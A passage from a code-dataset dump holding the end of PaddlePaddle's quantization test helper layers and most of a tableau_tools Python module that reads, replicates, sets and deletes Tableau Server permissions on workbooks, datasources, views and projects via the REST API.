weight_attr=conv2d_w2_attr,\n bias_attr=conv2d_b2_attr,\n )\n self.conv2d_1.skip_quant = False\n\n self.batch_norm_1 = BatchNorm2D(16)\n self.relu6_0 = ReLU6()\n self.pool2d_1 = MaxPool2D(kernel_size=2, stride=2)\n self.linear_0 = Linear(\n in_features=400,\n out_features=120,\n weight_attr=fc_w1_attr,\n bias_attr=fc_b1_attr,\n )\n self.linear_0.skip_quant = True\n\n self.leaky_relu_0 = LeakyReLU()\n self.linear_1 = Linear(\n in_features=120,\n out_features=84,\n weight_attr=fc_w2_attr,\n bias_attr=fc_b2_attr,\n )\n self.linear_1.skip_quant = False\n\n self.sigmoid_0 = Sigmoid()\n self.linear_2 = Linear(\n in_features=84,\n out_features=num_classes,\n weight_attr=fc_w3_attr,\n bias_attr=fc_b3_attr,\n )\n self.linear_2.skip_quant = False\n self.softmax_0 = Softmax()\n\n def forward(self, inputs):\n x = self.conv2d_0(inputs)\n x = self.batch_norm_0(x)\n x = self.relu_0(x)\n x = self.pool2d_0(x)\n x = self.conv2d_1(x)\n x = self.batch_norm_1(x)\n x = self.relu6_0(x)\n x = self.pool2d_1(x)\n\n x = paddle.flatten(x, 1)\n x = self.linear_0(x)\n x = self.leaky_relu_0(x)\n x = self.linear_1(x)\n x = self.sigmoid_0(x)\n x = self.linear_2(x)\n x = self.softmax_0(x)\n\n return x\n\n\nclass ImperativeLinearBn(paddle.nn.Layer):\n def __init__(self):\n super().__init__()\n\n fc_w_attr = paddle.ParamAttr(\n name=\"fc_weight\",\n initializer=paddle.nn.initializer.Constant(value=0.5),\n )\n fc_b_attr = paddle.ParamAttr(\n name=\"fc_bias\",\n initializer=paddle.nn.initializer.Constant(value=1.0),\n )\n bn_w_attr = paddle.ParamAttr(\n name=\"bn_weight\",\n initializer=paddle.nn.initializer.Constant(value=0.5),\n )\n\n self.linear = Linear(\n in_features=10,\n out_features=10,\n weight_attr=fc_w_attr,\n bias_attr=fc_b_attr,\n )\n self.bn = BatchNorm1D(10, weight_attr=bn_w_attr)\n\n def forward(self, inputs):\n x = self.linear(inputs)\n x = self.bn(x)\n\n return x\n\n\nclass ImperativeLinearBn_hook(paddle.nn.Layer):\n def __init__(self):\n super().__init__()\n\n fc_w_attr = paddle.ParamAttr(\n name=\"linear_weight\",\n initializer=paddle.nn.initializer.Constant(value=0.5),\n )\n\n self.linear = Linear(\n in_features=10, out_features=10, weight_attr=fc_w_attr\n )\n self.bn = BatchNorm1D(10)\n\n forward_pre = self.linear.register_forward_pre_hook(pre_hook)\n forward_post = self.bn.register_forward_post_hook(post_hook)\n\n def forward(self, inputs):\n x = self.linear(inputs)\n x = self.bn(x)\n\n return x\n","repo_name":"PaddlePaddle/Paddle","sub_path":"test/quantization/imperative_test_utils.py","file_name":"imperative_test_utils.py","file_ext":"py","file_size_in_byte":8471,"program_lang":"python","lang":"en","doc_type":"code","stars":21032,"dataset":"github-code","pt":"29"} +{"seq_id":"11572162747","text":"\nfrom .permissions import *\nimport copy\nfrom typing import Union, Any, Optional, List, Dict, TYPE_CHECKING\n\nfrom ..tableau_rest_xml import TableauRestXml\n\nif TYPE_CHECKING:\n from tableau_tools.logging_methods import LoggingMethods\n from tableau_tools.logger import Logger\n from tableau_tools.tableau_exceptions import *\n from tableau_tools.tableau_rest_api_connection import TableauRestApiConnection\n from tableau_tools.tableau_server_rest import TableauServerRest\n\n# Represents a published workbook, project or datasource\nclass PublishedContent(LoggingMethods):\n def __init__(self, luid: str, obj_type: str, tableau_rest_api_obj: 'TableauServerRest',\n default: bool = False, logger_obj: Optional['Logger'] = None,\n content_xml_obj: Optional[ET.Element] = None):\n\n self.permissionable_objects = ('datasource', 'project', 'workbook', 'flow', 'database', 'table')\n self.logger = logger_obj\n self._luid = luid\n self.t_rest_api: TableauServerRest = tableau_rest_api_obj\n self.obj_type = obj_type\n self.default = default\n self.obj_perms_xml = None\n self.current_perms_obj_list: Optional[List[Permissions]] = None\n self.__permissionable_objects = self.permissionable_objects\n self.get_permissions_from_server()\n #self.log('Creating a Published Project Object from this XML:')\n #self.log_xml_response(content_xml_obj)\n self.api_version = tableau_rest_api_obj.api_version\n self.permissions_object_class = ProjectPermissions # Override in any child class with specific\n self.xml_obj = content_xml_obj\n # If you want to know the name that matches to the group or user, need these\n # But no need to request every single time\n # self.groups_dict_cache = None\n # self.users_dict_cache = None\n\n @property\n def luid(self):\n return self._luid\n\n # Implement in each type for the right lookup\n @luid.setter\n def luid(self, name_or_luid):\n self._luid = name_or_luid\n\n def get_object_type(self):\n return self.obj_type\n\n def get_xml_obj(self):\n return self.xml_obj\n\n def _get_permissions_object(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None, permissions_class_override=None):\n if group_name_or_luid is None and username_or_luid is None:\n raise InvalidOptionException('Must pass either group_name_or_luid or username_or_luid')\n if group_name_or_luid is not None and username_or_luid is not None:\n raise InvalidOptionException('Please only use one of group_name_or_luid or username_or_luid')\n\n if group_name_or_luid is not None:\n luid = self.t_rest_api.query_group_luid(group_name_or_luid)\n elif username_or_luid is not None:\n luid = self.t_rest_api.query_user_luid(username_or_luid)\n else:\n raise InvalidOptionException('Please pass in one of group_name_or_luid or username_or_luid')\n # This is just for compatibility\n if permissions_class_override is not None:\n perms_obj = permissions_class_override(group_or_user='group', group_or_user_luid=luid)\n else:\n perms_obj = self.permissions_object_class(group_or_user='group', group_or_user_luid=luid)\n perms_obj.enable_logging(self.logger)\n if role is not None:\n perms_obj.set_capabilities_to_match_role(role)\n return perms_obj\n\n # This is an abstract method to be implemented in each one\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None):\n pass\n\n # def get_users_dict(self):\n # users = self.t_rest_api.query_users()\n # users_dict = self.t_rest_api.convert_xml_list_to_name_id_dict(users)\n # return users_dict\n\n # Copy Permissions for users or group\n def _copy_permissions_obj(self, perms_obj, user_or_group, name_or_luid):\n self.start_log_block()\n if TableauRestXml.is_luid(name_or_luid):\n luid = name_or_luid\n else:\n if user_or_group == 'group':\n luid = self.t_rest_api.query_group_luid(name_or_luid)\n elif user_or_group == 'user':\n luid = self.t_rest_api.query_user_luid(name_or_luid)\n else:\n raise InvalidOptionException('Must send group or user only')\n new_perms_obj = copy.deepcopy(perms_obj)\n new_perms_obj.luid = luid\n self.end_log_block()\n return new_perms_obj\n\n def copy_permissions_obj(self, perms_obj, group_name_or_luid: Optional[str] = None,\n username_or_luid: Optional[str] = None):\n if group_name_or_luid is not None and username_or_luid is not None:\n raise InvalidOptionException('Only pass either group_name_or_luid or username_or_luid, but not both')\n if group_name_or_luid is not None:\n return self._copy_permissions_obj(perms_obj, 'group', group_name_or_luid)\n elif username_or_luid is not None:\n return self._copy_permissions_obj(perms_obj, 'user', username_or_luid)\n else:\n raise InvalidOptionException('Must pass one of group_name_or_luid or username_or_luid')\n\n\n # Runs through the gcap object list, and tries to do a conversion all principals to matching LUIDs on current site\n # Use case is replicating settings from one site to another\n # Orig_site must be TableauRestApiConnection\n # Not Finished\n def convert_permissions_obj_list_from_orig_site_to_current_site(self, permissions_obj_list: List['Permissions'],\n orig_site: Union['TableauRestApiConnection', 'TableauServerRest']) -> List['Permissions']:\n # If the site is the same, skip the whole thing and just return the original\n if self.t_rest_api.site_content_url == orig_site.site_content_url \\\n and self.t_rest_api.server == orig_site.server:\n return permissions_obj_list\n\n new_perms_obj_list = copy.deepcopy(permissions_obj_list)\n final_perms_obj_list = []\n # Make this more efficient -- should only look up those users it needs to. Question on algorithm for speed\n\n for perms_obj in new_perms_obj_list:\n orig_luid = perms_obj.luid\n if perms_obj.group_or_user == 'group':\n # Find the name that matches the LUID\n try:\n orig_name = orig_site.query_group_name(orig_luid)\n self.log('Found orig luid {} for name {}'.format(orig_luid, orig_name ))\n n_luid = self.t_rest_api.query_group_luid(orig_name)\n self.log('Found new luid {} for name {}'.format(n_luid, orig_name ))\n except StopIteration:\n self.log(\"No matching name for luid {} found on the original site, dropping from list\".format(\n orig_luid))\n\n elif perms_obj.group_or_user == 'user':\n # Find the name that matches the LUID\n try:\n # Individual searches here. Efficient in versions with lookup\n orig_user = orig_site.query_user(orig_luid)\n orig_username = orig_user.get('name')\n n_luid = self.t_rest_api.query_user_luid(orig_username)\n except NoMatchFoundException:\n self.log(\"No matching name for luid {} found on the original site, dropping from list\".format(\n orig_luid))\n perms_obj.luid = n_luid\n final_perms_obj_list.append(copy.deepcopy(perms_obj))\n return final_perms_obj_list\n\n # Runs through the gcap object list, and tries to do a conversion all principals to matching LUIDs on current site\n # Use case is replicating settings from one site to another\n # Orig_site must be TableauRestApiConnection\n # Not Finished\n def convert_permissions_xml_object_from_orig_site_to_current_site(self, permissions_xml_request, orig_site,\n username_map=None):\n \"\"\"\n :type permissions_xml_request: ET.Element\n :type orig_site: TableauRestApiConnection\n :type username_map: dict[unicode, unicode]\n :rtype: ET.Element\n \"\"\"\n # If the site is the same, skip the whole thing and just return the original\n if self.t_rest_api.site_content_url == orig_site.site_content_url \\\n and self.t_rest_api.server == orig_site.server:\n return permissions_xml_request\n\n # new_perms_obj_list = permissions_xml_request\n final_perms_obj_list = []\n # Make this more efficient -- should only look up those users it needs to. Question on algorithm for speed\n\n # Must loop two levels deep\n for permissions_element in permissions_xml_request:\n for grantee_capabilities in permissions_element:\n # Handle groups first\n for group in grantee_capabilities.iter('group'):\n\n orig_luid = group.get('id')\n # Find the name that matches the LUID\n try:\n orig_name = orig_site.query_group_name(orig_luid)\n self.log('Found orig luid {} for name {}'.format(orig_luid, orig_name ))\n n_luid = self.t_rest_api.query_group_luid(orig_name)\n self.log('Found new luid {} for name {}'.format(n_luid, orig_name ))\n # Update the attribute for the new site\n group.set('id', n_luid)\n except StopIteration:\n self.log(\"No matching name for luid {} found on the original site, dropping from list\".format(\n orig_luid))\n # Here, do we remove a group that doesn't exist on the new site? Or just raise that exception?\n # Going with remove for now, to make things more smooth\n permissions_element.remove(grantee_capabilities)\n\n # This works if you anticipate that users will have the same name. Should add an optional dictionary for\n # translating\n for user in grantee_capabilities.iter('user'):\n orig_luid = user.get('id')\n # Find the name that matches the LUID\n try:\n # Individual searches here. Efficient in versions with lookup\n orig_user = orig_site.query_user(orig_luid)\n orig_username = orig_user.get('name')\n final_username = orig_username\n if username_map is not None:\n if orig_username in username_map:\n final_username = username_map[orig_username]\n else:\n self.log(\"No matching name in the username_map found for original_name '{}' found , dropping from list\".format(\n orig_username))\n permissions_element.remove(grantee_capabilities)\n else:\n final_username = orig_username\n n_luid = self.t_rest_api.query_user_luid(final_username)\n user.set('id', n_luid)\n except NoMatchFoundException:\n self.log(\"No matching name for luid {} found on the original site, dropping from list\".format(\n orig_luid))\n permissions_element.remove(grantee_capabilities)\n return permissions_xml_request\n\n\n def replicate_permissions(self, orig_content):\n self.start_log_block()\n self.clear_all_permissions()\n\n # Self Permissions\n o_perms_obj_list = orig_content.current_perms_obj_list\n n_perms_obj_list = self.convert_permissions_obj_list_from_orig_site_to_current_site(o_perms_obj_list,\n orig_content.t_rest_api)\n self.set_permissions_by_permissions_obj_list(n_perms_obj_list)\n self.end_log_block()\n\n @staticmethod\n def _fix_permissions_request_for_replication(tsr: ET.Element) -> ET.Element:\n # Remove the project tag from the original response\n proj_element = None\n for t in tsr.iter():\n\n if t.tag == 'project':\n proj_element = t\n if proj_element is not None:\n # You have to remove from the immediate parent apparently, which needs to be the permissions tag\n for p in tsr:\n p.remove(proj_element)\n return tsr\n\n def replicate_permissions_direct_xml(self, orig_content, username_map=None):\n \"\"\"\n :type orig_content: PublishedContent\n :type username_map: dict[unicode, unicode]\n :return:\n \"\"\"\n self.start_log_block()\n\n self.clear_all_permissions()\n\n # This is for the project Permissions. Handle defaults down below\n\n perms_tsr = self.t_rest_api.build_request_from_response(orig_content.obj_perms_xml)\n # Remove the project tag from the original response\n perms_tsr = self._fix_permissions_request_for_replication(perms_tsr)\n\n # Now convert over all groups and users\n self.convert_permissions_xml_object_from_orig_site_to_current_site(perms_tsr, orig_content.t_rest_api,\n username_map=username_map)\n self.set_permissions_by_permissions_direct_xml(perms_tsr)\n self.end_log_block()\n\n # Polyfill for removed cmp in Python3 https://portingguide.readthedocs.io/en/latest/comparisons.html\n @staticmethod\n def _cmp(x, y):\n \"\"\"\n Replacement for built-in function cmp that was removed in Python 3\n\n Compare the two objects x and y and return an integer according to\n the outcome. The return value is negative if x < y, zero if x == y\n and strictly positive if x > y.\n \"\"\"\n\n return (x > y) - (x < y)\n\n # Determine if capabilities are already set identically (or identically enough) to skip\n def are_capabilities_obj_lists_identical(self, new_obj_list: List['Permissions'],\n dest_obj_list: List['Permissions']) -> bool:\n # Grab the LUIDs of each, determine if they match in the first place\n\n # Create a dict with the LUID as the keys for sorting and comparison\n new_obj_dict = {}\n for obj in new_obj_list:\n new_obj_dict[obj.luid] = obj\n\n dest_obj_dict = {}\n for obj in dest_obj_list:\n dest_obj_dict[obj.luid] = obj\n # If lengths don't match, they must differ\n if len(new_obj_dict) != len(dest_obj_dict):\n return False\n else:\n # If LUIDs don't match, they must differ\n new_obj_luids = list(new_obj_dict.keys())\n dest_obj_luids = list(dest_obj_dict.keys())\n new_obj_luids.sort()\n dest_obj_luids.sort()\n if self._cmp(new_obj_luids, dest_obj_luids) != 0:\n return False\n for luid in new_obj_luids:\n new_obj = new_obj_dict.get(luid)\n dest_obj = dest_obj_dict.get(luid)\n return self.are_capabilities_obj_dicts_identical(new_obj.get_capabilities_dict(),\n dest_obj.get_capabilities_dict())\n\n @staticmethod\n def are_capabilities_obj_dicts_identical(new_obj_dict: Dict, dest_obj_dict: Dict) -> bool:\n if new_obj_dict.keys() == dest_obj_dict.keys():\n for k in new_obj_dict:\n if new_obj_dict[k] != dest_obj_dict[k]:\n return False\n return True\n else:\n return False\n\n # Dict { capability_name : mode } into XML with checks for validity. Set type to 'workbook' or 'datasource'\n def build_capabilities_xml_from_dict(self, capabilities_dict: Dict, obj_type: str) -> ET.Element:\n if obj_type not in self.permissionable_objects:\n error_text = 'objtype can only be \"project\", \"workbook\" or \"datasource\", was given {}'\n raise InvalidOptionException(error_text.format('obj_type'))\n c = ET.Element('capabilities')\n\n for cap in capabilities_dict:\n # Skip if the capability is set to None\n if capabilities_dict[cap] is None:\n continue\n if capabilities_dict[cap] not in ['Allow', 'Deny']:\n raise InvalidOptionException('Capability mode can only be \"Allow\", \"Deny\" (case-sensitive)')\n if obj_type == 'project':\n if cap not in Permissions.available_capabilities[self.api_version][\"project\"]:\n raise InvalidOptionException('{} is not a valid capability for a project'.format(cap))\n if obj_type == 'datasource':\n # Ignore if not available for datasource\n if cap not in Permissions.available_capabilities[self.api_version][\"datasource\"]:\n self.log('{} is not a valid capability for a datasource'.format(cap))\n continue\n if obj_type == 'workbook':\n # Ignore if not available for workbook\n if cap not in Permissions.available_capabilities[self.api_version][\"workbook\"]:\n self.log('{} is not a valid capability for a workbook'.format(cap))\n continue\n capab = ET.Element('capability')\n capab.set('name', cap)\n capab.set('mode', capabilities_dict[cap])\n c.append(capab)\n return c\n\n def _build_add_permissions_request(self, permissions_obj: 'Permissions') -> ET.Element:\n tsr = ET.Element('tsRequest')\n p = ET.Element('permissions')\n capabilities_dict = permissions_obj.get_capabilities_dict()\n c = self.build_capabilities_xml_from_dict(capabilities_dict, self.obj_type)\n gcap = ET.Element('granteeCapabilities')\n t = ET.Element(permissions_obj.group_or_user)\n t.set('id', permissions_obj.luid)\n gcap.append(t)\n gcap.append(c)\n p.append(gcap)\n tsr.append(p)\n\n return tsr\n\n # Template stub\n @staticmethod\n def convert_capabilities_xml_into_obj_list(xml_obj: ET.Element) -> List['Permissions']:\n pass\n\n def get_permissions_from_server(self, obj_perms_xml: Optional[ET.Element] = None) -> List['Permissions']:\n\n self.start_log_block()\n if obj_perms_xml is not None:\n self.obj_perms_xml = obj_perms_xml\n else:\n if self.default is False:\n self.obj_perms_xml = self.t_rest_api.query_resource(\n \"{}s/{}/permissions\".format(self.obj_type, self.luid))\n elif self.default is True:\n self.obj_perms_xml = self.t_rest_api.query_resource(\n \"projects/{}/default-permissions/{}s\".format(self.luid, self.obj_type))\n self.log('Converting XML into Permissions Objects for object type: {}'.format(self.obj_type))\n self.current_perms_obj_list = self.convert_capabilities_xml_into_obj_list(self.obj_perms_xml)\n self.end_log_block()\n return self.current_perms_obj_list\n\n def get_permissions_xml(self) -> ET.Element:\n return self.obj_perms_xml\n\n def get_permissions_obj_list(self) -> List['Permissions']:\n return self.current_perms_obj_list\n\n # This one doesn't do any of the checking or determining if there is a need to change. Only for pure replication\n def set_permissions_by_permissions_direct_xml(self, direct_xml_request: ET.Element):\n self.start_log_block()\n url = None\n if self.default is False:\n url = self.t_rest_api.build_api_url(\"{}s/{}/permissions\".format(self.obj_type, self.luid))\n if self.default is True:\n url = self.t_rest_api.build_api_url(\n \"projects/{}/default-permissions/{}s\".format(self.luid, self.obj_type))\n new_perms_xml = self.t_rest_api.send_update_request(url, direct_xml_request)\n\n # Update the internal representation from the newly returned permissions XML\n self.get_permissions_from_server(new_perms_xml)\n\n self.end_log_block()\n\n # Shorter, cleaner code. Use in the future\n def set_permissions(self, permissions: Optional[List['Permissions']] = None,\n direct_xml_request: Optional[ET.Element] = None):\n if permissions is not None and direct_xml_request is not None:\n raise InvalidOptionException('Please only send one of the two arguments at a time')\n if permissions is not None:\n self.set_permissions_by_permissions_obj_list(new_permissions_obj_list=permissions)\n elif direct_xml_request is not None:\n self.set_permissions_by_permissions_direct_xml(direct_xml_request=direct_xml_request)\n else:\n raise InvalidOptionException('Please send in at least one argument')\n\n def set_permissions_by_permissions_obj_list(self, new_permissions_obj_list):\n \"\"\"\n :type new_permissions_obj_list: list[Permissions]\n \"\"\"\n self.start_log_block()\n\n self.log(\"Permissions object list has {} items:\".format(len(new_permissions_obj_list)))\n for new_permissions_obj in new_permissions_obj_list:\n for cur_obj in self.current_perms_obj_list:\n # Check if there are any existing capabilities on the object\n if cur_obj.luid == new_permissions_obj.luid:\n # Find if anything is set already, add to deletion queue\n are_identical = self.are_capabilities_obj_dicts_identical(\n cur_obj.get_capabilities_dict(), new_permissions_obj.get_capabilities_dict()\n )\n self.log(\"Existing permissions found for luid {}. Are they the same? {}\".format(cur_obj.luid,\n str(are_identical)))\n # Delete all existing permissions\n if are_identical is False:\n self.log(\"Removing existing permissions for luid {}\".format(cur_obj.luid))\n self.delete_permissions_by_permissions_obj_list([cur_obj, ])\n\n if are_identical is True:\n self.log('No changes necessary, skipping update for quicker performance')\n # self.end_log_block()\n continue\n # Check if all capabilities are set to Unspecified, and ignore\n specified_cap_count = 0\n caps = new_permissions_obj.get_capabilities_dict()\n self.log(\"New permissions to be set:\")\n self.log(str(caps))\n for cap in caps:\n if caps[cap] is not None:\n specified_cap_count += 1\n if specified_cap_count > 0:\n self.log(\"Adding permissions\")\n tsr = self._build_add_permissions_request(new_permissions_obj)\n url = None\n if self.default is False:\n url = self.t_rest_api.build_api_url(\"{}s/{}/permissions\".format(self.obj_type, self.luid))\n if self.default is True:\n url = self.t_rest_api.build_api_url(\n \"projects/{}/default-permissions/{}s\".format(self.luid, self.obj_type))\n new_perms_xml = self.t_rest_api.send_update_request(url, tsr)\n\n # Update the internal representation from the newly returned permissions XML\n self.get_permissions_from_server(new_perms_xml)\n else:\n self.get_permissions_from_server()\n self.end_log_block()\n\n # Cleaner code for the future\n def delete_permissions(self, permissions: List['Permissions']):\n self.delete_permissions_by_permissions_obj_list(permissions_obj_list=permissions)\n\n # Legacy longer way to call\n def delete_permissions_by_permissions_obj_list(self, permissions_obj_list: List['Permissions']):\n self.start_log_block()\n for permissions_obj in permissions_obj_list:\n obj_luid = permissions_obj.luid\n group_or_user = permissions_obj.group_or_user\n # Only work if permissions object matches the ContentType\n if permissions_obj.get_content_type() != self.obj_type:\n raise InvalidOptionException(\"Trying to set permission for a {} using a {} Permissions object\".format(\n self.obj_type, permissions_obj.get_content_type()\n ))\n self.log('Deleting for object LUID {}'.format(self.luid))\n permissions_dict = permissions_obj.get_capabilities_dict()\n for cap in permissions_dict:\n if self.default is True:\n api_url_start = \"projects/{}/default-permissions/{}s/{}s/{}/{}/\".format(self.luid, self.obj_type,\n group_or_user,\n obj_luid, cap)\n else:\n api_url_start = \"{}s/{}/permissions/{}s/{}/{}/\".format(self.obj_type, self.luid, group_or_user,\n obj_luid, cap)\n\n if permissions_dict.get(cap) == 'Allow':\n # Delete Allow\n url = self.t_rest_api.build_api_url(api_url_start + 'Allow')\n self.t_rest_api.send_delete_request(url)\n elif permissions_dict.get(cap) == 'Deny':\n # Delete Deny\n url = self.t_rest_api.build_api_url(api_url_start + 'Deny')\n self.t_rest_api.send_delete_request(url)\n else:\n self.log('{} set to none, no action'.format(cap))\n self.end_log_block()\n\n def clear_all_permissions(self):\n self.start_log_block()\n self.get_permissions_from_server()\n self.log('Current permissions object list')\n self.log(str(self.current_perms_obj_list))\n self.delete_permissions(permissions=self.current_perms_obj_list)\n self.end_log_block()\n\nclass Workbook(PublishedContent):\n def __init__(self, luid, tableau_rest_api_obj, default=False, logger_obj=None,\n content_xml_obj=None):\n PublishedContent.__init__(self, luid=luid, obj_type=\"workbook\", tableau_rest_api_obj=tableau_rest_api_obj,\n default=default, logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"workbook\"]\n self.log(\"Workbook object initiating\")\n self.permissions_object_class = WorkbookPermissions\n\n @property\n def luid(self) -> str:\n return self._luid\n\n @luid.setter\n def luid(self, name_or_luid: str):\n luid = self.t_rest_api.query_workbook_luid(name_or_luid)\n self._luid = luid\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'WorkbookPermissions':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\n @staticmethod\n def convert_capabilities_xml_into_obj_list(xml_obj: ET.Element) -> List['WorkbookPermissions']:\n\n #self.start_log_block()\n obj_list = []\n xml = xml_obj.findall('.//t:granteeCapabilities', TableauRestXml.ns_map)\n if len(xml) == 0:\n # self.end_log_block()\n return []\n else:\n for gcaps in xml:\n for tags in gcaps:\n # Namespace fun\n if tags.tag == '{}group'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = WorkbookPermissions('group', luid)\n # self.log_debug('group {}'.format(luid))\n elif tags.tag == '{}user'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = WorkbookPermissions('user', luid)\n # self.log_debug('user {}'.format(luid))\n elif tags.tag == '{}capabilities'.format(TableauRestXml.ns_prefix):\n for caps in tags:\n # self.log_debug(caps.get('name') + ' : ' + caps.get('mode'))\n perms_obj.set_capability(caps.get('name'), caps.get('mode'))\n obj_list.append(perms_obj)\n #self.log('Permissions object list has {} items'.format(str(len(obj_list))))\n # self.end_log_block()\n return obj_list\n\n\nclass Datasource(PublishedContent):\n def __init__(self, luid, tableau_rest_api_obj, default=False, logger_obj=None,\n content_xml_obj=None):\n PublishedContent.__init__(self, luid, \"datasource\", tableau_rest_api_obj,\n default=default, logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"datasource\"]\n self.permissions_object_class = DatasourcePermissions\n\n @property\n def luid(self) -> str:\n return self._luid\n\n @luid.setter\n def luid(self, name_or_luid: str):\n ds_luid = self.t_rest_api.query_datasource_luid(name_or_luid)\n self._luid = ds_luid\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'DatasourcePermissions':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\n @staticmethod\n def convert_capabilities_xml_into_obj_list(xml_obj: ET.Element) -> List['DatasourcePermissions']:\n #self.start_log_block()\n obj_list = []\n xml = xml_obj.findall('.//t:granteeCapabilities', TableauRestXml.ns_map)\n if len(xml) == 0:\n # self.end_log_block()\n return []\n else:\n for gcaps in xml:\n for tags in gcaps:\n # Namespace fun\n if tags.tag == '{}group'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = DatasourcePermissions('group', luid)\n #self.log_debug('group {}'.format(luid))\n elif tags.tag == '{}user'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = DatasourcePermissions('user', luid)\n #self.log_debug('user {}'.format(luid))\n elif tags.tag == '{}capabilities'.format(TableauRestXml.ns_prefix):\n for caps in tags:\n #self.log_debug(caps.get('name') + ' : ' + caps.get('mode'))\n perms_obj.set_capability(caps.get('name'), caps.get('mode'))\n obj_list.append(perms_obj)\n #self.log('Permissions object list has {} items'.format(str(len(obj_list))))\n # self.end_log_block()\n return obj_list\n\n\nclass View(PublishedContent):\n def __init__(self, luid: str, tableau_rest_api_obj: Union['TableauRestApiConnection', 'TableauServerRest'],\n default: bool = False, logger_obj: Optional['Logger'] = None,\n content_xml_obj: Optional[ET.Element] = None):\n PublishedContent.__init__(self, luid, \"view\", tableau_rest_api_obj,\n default=default, logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"workbook\"]\n self.log(\"View object initiating\")\n\n @property\n def luid(self) -> str:\n return self._luid\n\n @luid.setter\n def luid(self, luid: str):\n # Maybe implement a search at some point\n self._luid = luid\n\n @staticmethod\n def convert_capabilities_xml_into_obj_list(xml_obj: ET.Element) -> List['WorkbookPermissions']:\n #self.start_log_block()\n obj_list = []\n xml = xml_obj.findall('.//t:granteeCapabilities', TableauRestXml.ns_map)\n if len(xml) == 0:\n #self.end_log_block()\n return []\n else:\n for gcaps in xml:\n for tags in gcaps:\n # Namespace fun\n if tags.tag == '{}group'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = WorkbookPermissions('group', luid)\n #self.log_debug('group {}'.format(luid))\n elif tags.tag == '{}user'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = WorkbookPermissions('user', luid)\n #self.log_debug('user {}'.format(luid))\n elif tags.tag == '{}capabilities'.format(TableauRestXml.ns_prefix):\n for caps in tags:\n #self.log_debug(caps.get('name') + ' : ' + caps.get('mode'))\n perms_obj.set_capability(caps.get('name'), caps.get('mode'))\n obj_list.append(perms_obj)\n #self.log('Permissions object list has {} items'.format(str(len(obj_list))))\n #self.end_log_block()\n return obj_list\n\n\nclass Flow33(PublishedContent):\n def __init__(self, luid, tableau_rest_api_obj, default=False, logger_obj=None,\n content_xml_obj=None):\n PublishedContent.__init__(self, luid, \"flow\", tableau_rest_api_obj,\n default=default, logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"flow\"]\n self.log(\"Flow object initiating\")\n self.permissions_object_class = FlowPermissions33\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'FlowPermissions33':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\nclass Database35(PublishedContent):\n def __init__(self, luid, tableau_rest_api_obj, default=False, logger_obj=None,\n content_xml_obj=None):\n PublishedContent.__init__(self, luid, \"database\", tableau_rest_api_obj,\n default=default, logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"database\"]\n self.log(\"Database object initiating\")\n self.permissions_object_class = DatabasePermissions35\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'DatabasePermissions35':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\nclass Table35(PublishedContent):\n def __init__(self, luid, tableau_rest_api_obj, default=False, logger_obj=None,\n content_xml_obj=None):\n PublishedContent.__init__(self, luid, \"table\", tableau_rest_api_obj,\n default=default, logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"table\"]\n self.log(\"Table object initiating\")\n self.permissions_object_class = TablePermissions35\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'TablePermissions35':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\n\n\nclass Project(PublishedContent):\n def __init__(self, luid: str, tableau_rest_api_obj: 'TableauServerRest',\n logger_obj: Optional['Logger'] = None,\n content_xml_obj: Optional[ET.Element] = None, parent_project_luid: Optional[str] = None):\n PublishedContent.__init__(self, luid=luid, obj_type=\"project\", tableau_rest_api_obj=tableau_rest_api_obj,\n logger_obj=logger_obj, content_xml_obj=content_xml_obj)\n\n self._parent_project_luid = parent_project_luid\n self.log('Building Project object from this XML: ')\n self.log_xml_response(content_xml_obj)\n self.log('Project object has this XML: ')\n self.log_xml_response(self.xml_obj)\n # projects in 9.2 have child workbook and datasource permissions\n self._workbook_defaults = Workbook(self.luid, self.t_rest_api,\n default=True, logger_obj=logger_obj)\n self._datasource_defaults = Datasource(self.luid, self.t_rest_api,\n default=True, logger_obj=logger_obj)\n\n self.__available_capabilities = Permissions.available_capabilities[self.api_version][\"project\"]\n self.permissions_locked = None\n self.permissions_locked = self.are_permissions_locked()\n self.permissions_object_class = ProjectPermissions\n\n @property\n def luid(self):\n return self._luid\n\n @luid.setter\n def luid(self, name_or_luid: str):\n if TableauRestXml.is_luid(name_or_luid):\n luid = name_or_luid\n else:\n luid = 